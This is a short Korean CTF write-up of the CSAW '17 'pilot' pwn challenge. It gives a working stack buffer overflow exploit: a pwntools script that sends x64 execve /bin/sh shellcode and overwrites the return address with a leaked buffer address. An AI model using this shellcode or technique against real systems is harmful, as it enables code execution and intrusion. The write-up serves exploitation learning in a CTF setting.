[CSAW '17 CTF] pilot

2018. 4. 30. 22:54


ctf에 직접 참여해서 푼건 아니고... 나중에 pilot이란 파일만 가지고 문제를 풀었다.


처음해보는 pwn문제라 좀 해멨다. 64bit환경에서 x86(32bit) Shellcode를 가지고 했으니...


또 이번에 문제풀면서 처음으로 파이썬 라이브러리 pwntools랑 gdb-peda를 사용해보았다.

덕분에 여러가지로 공부가 많이 된듯하다. 나중에 실제로 ctf에서 pwn문제 풀면 매우 유용하게 사용할듯.


문제로 들어가자



저렇게 나온다.

Location을 주는데, 저게 중요할것 같다.


gdb-peda로 실행해서 "A"*32 + "B"*8 + "C"*4를 입력하면 아래와 같이 나온다.



RBP가 "BBBB"로 덮이고, RIP는 0x7f0a43434343으로  "CCCC\n"이 덮혀진것을 볼 수 있다.


buf는 "A"*32로 채워져있을 것이므로, 이곳에 shellcode를 넣고 이 곳의 주소로 jump하면 될 것 같다.


참고로 NX는 걸려있지않다.



사용 Shellcode x64 execve 

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= process("./pilot")
print(p.recvuntil("Location:"))
 
buf = p.recvline(False).strip()
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
print("ShellcodeLen : " + str(len(shellcode)))
 
payload = shellcode + "A"*(40-len(shellcode))+p64(int(buf,16))#p32(buf2)+p32(buf1)
 
p.sendline(payload)
sleep(1)
p.interactive()
 
cs




굿


+ Recent posts